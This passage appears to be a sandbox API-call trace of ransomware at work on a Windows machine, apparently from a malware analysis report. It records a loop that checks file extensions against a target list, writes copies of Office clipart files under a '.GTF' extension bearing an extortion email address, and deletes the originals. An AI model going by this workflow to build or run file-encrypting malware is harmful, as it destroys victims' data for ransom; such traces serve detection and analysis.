	[0090.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.391] lstrlenW (lpString=".jpg") returned 4
	[0090.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.392] lstrlenW (lpString=".doc") returned 4
	[0090.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString=".docx") returned 5
	[0090.392] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.392] lstrlenW (lpString=".pdf") returned 4
	[0090.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString=".xls") returned 4
	[0090.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.392] lstrlenW (lpString=".xlsx") returned 5
	[0090.392] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.392] lstrlenW (lpString=".ppt") returned 4
	[0090.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.392] lstrlenW (lpString=".zip") returned 4
	[0090.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.392] lstrlenW (lpString=".rar") returned 4
	[0090.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString=".bz2") returned 4
	[0090.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString=".7z") returned 3
	[0090.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.392] lstrlenW (lpString=".dbf") returned 4
	[0090.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.392] lstrlenW (lpString=".1cd") returned 4
	[0090.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.392] lstrlenW (lpString=".jpg") returned 4
	[0090.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.392] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.393] lstrlenW (lpString="J0090089.WMF") returned 12
	[0090.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.393] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15760) returned 1
	[0090.393] CloseHandle (hObject=0x37c) returned 1
	[0090.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220
	[0090.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.393] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.393] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.394] GetLastError () returned 0x0
	[0090.394] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3d90, lpOverlapped=0x0) returned 1
	[0090.395] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3da0, lpOverlapped=0x0) returned 1
	[0090.396] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.397] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.397] SetEndOfFile (hFile=0x378) returned 1
	[0090.397] CloseHandle (hObject=0x378) returned 1
	[0090.397] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.397] SetEndOfFile (hFile=0x37c) returned 1
	[0090.398] CloseHandle (hObject=0x37c) returned 1
	[0090.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1
	[0090.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.398] lstrlenW (lpString=".doc") returned 4
	[0090.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.398] lstrlenW (lpString=".docx") returned 5
	[0090.398] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.398] lstrlenW (lpString=".pdf") returned 4
	[0090.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.398] lstrlenW (lpString=".xls") returned 4
	[0090.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.398] lstrlenW (lpString=".xlsx") returned 5
	[0090.398] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.399] lstrlenW (lpString=".ppt") returned 4
	[0090.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.399] lstrlenW (lpString=".zip") returned 4
	[0090.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.399] lstrlenW (lpString=".rar") returned 4
	[0090.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString=".bz2") returned 4
	[0090.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString=".7z") returned 3
	[0090.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.399] lstrlenW (lpString=".dbf") returned 4
	[0090.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.399] lstrlenW (lpString=".1cd") returned 4
	[0090.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.399] lstrlenW (lpString=".jpg") returned 4
	[0090.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.399] lstrlenW (lpString=".doc") returned 4
	[0090.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString=".docx") returned 5
	[0090.399] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.399] lstrlenW (lpString=".pdf") returned 4
	[0090.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString=".xls") returned 4
	[0090.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.399] lstrlenW (lpString=".xlsx") returned 5
	[0090.399] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.399] lstrlenW (lpString=".ppt") returned 4
	[0090.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.400] lstrlenW (lpString=".zip") returned 4
	[0090.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.400] lstrlenW (lpString=".rar") returned 4
	[0090.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.400] lstrlenW (lpString=".bz2") returned 4
	[0090.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.400] lstrlenW (lpString=".7z") returned 3
	[0090.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.400] lstrlenW (lpString=".dbf") returned 4
	[0090.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.400] lstrlenW (lpString=".1cd") returned 4
	[0090.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0090.400] lstrlenW (lpString=".jpg") returned 4
	[0090.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.400] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.400] lstrlenW (lpString="J0090149.WMF") returned 12
	[0090.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.400] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=28212) returned 1
	[0090.400] CloseHandle (hObject=0x37c) returned 1
	[0090.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220
	[0090.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.401] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.401] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.401] GetLastError () returned 0x0
	[0090.401] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x6e34, lpOverlapped=0x0) returned 1
	[0090.798] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x6e40, lpOverlapped=0x0) returned 1
	[0090.800] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.800] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.800] SetEndOfFile (hFile=0x378) returned 1
	[0090.800] CloseHandle (hObject=0x378) returned 1
	[0090.800] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.800] SetEndOfFile (hFile=0x37c) returned 1
	[0090.801] CloseHandle (hObject=0x37c) returned 1
	[0090.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.802] lstrlenW (lpString=".doc") returned 4
	[0090.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString=".docx") returned 5
	[0090.802] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.802] lstrlenW (lpString=".pdf") returned 4
	[0090.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString=".xls") returned 4
	[0090.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.802] lstrlenW (lpString=".xlsx") returned 5
	[0090.802] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.802] lstrlenW (lpString=".ppt") returned 4
	[0090.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.802] lstrlenW (lpString=".zip") returned 4
	[0090.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.802] lstrlenW (lpString=".rar") returned 4
	[0090.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString=".bz2") returned 4
	[0090.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString=".7z") returned 3
	[0090.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.802] lstrlenW (lpString=".dbf") returned 4
	[0090.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString=".1cd") returned 4
	[0090.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString=".jpg") returned 4
	[0090.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString=".doc") returned 4
	[0090.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".docx") returned 5
	[0090.803] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.803] lstrlenW (lpString=".pdf") returned 4
	[0090.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".xls") returned 4
	[0090.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.803] lstrlenW (lpString=".xlsx") returned 5
	[0090.803] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.803] lstrlenW (lpString=".ppt") returned 4
	[0090.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString=".zip") returned 4
	[0090.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.803] lstrlenW (lpString=".rar") returned 4
	[0090.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".bz2") returned 4
	[0090.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".7z") returned 3
	[0090.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString=".dbf") returned 4
	[0090.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.803] lstrlenW (lpString=".1cd") returned 4
	[0090.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0090.804] lstrlenW (lpString=".jpg") returned 4
	[0090.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.804] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.804] lstrlenW (lpString="J0099151.WMF") returned 12
	[0090.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.804] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=26086) returned 1
	[0090.804] CloseHandle (hObject=0x37c) returned 1
	[0090.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
	[0090.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.805] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.805] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.805] GetLastError () returned 0x0
	[0090.805] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0090.807] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0090.809] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.809] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.809] SetEndOfFile (hFile=0x378) returned 1
	[0090.809] CloseHandle (hObject=0x378) returned 1
	[0090.809] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.809] SetEndOfFile (hFile=0x37c) returned 1
	[0090.810] CloseHandle (hObject=0x37c) returned 1
	[0090.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0090.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString=".doc") returned 4
	[0090.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString=".docx") returned 5
	[0090.811] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0090.811] lstrlenW (lpString=".pdf") returned 4
	[0090.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString=".xls") returned 4
	[0090.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.811] lstrlenW (lpString=".xlsx") returned 5
	[0090.811] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0090.811] lstrlenW (lpString=".ppt") returned 4
	[0090.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString=".zip") returned 4
	[0090.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.811] lstrlenW (lpString=".rar") returned 4
	[0090.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString=".bz2") returned 4
	[0090.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString=".7z") returned 3
	[0090.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString=".dbf") returned 4
	[0090.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
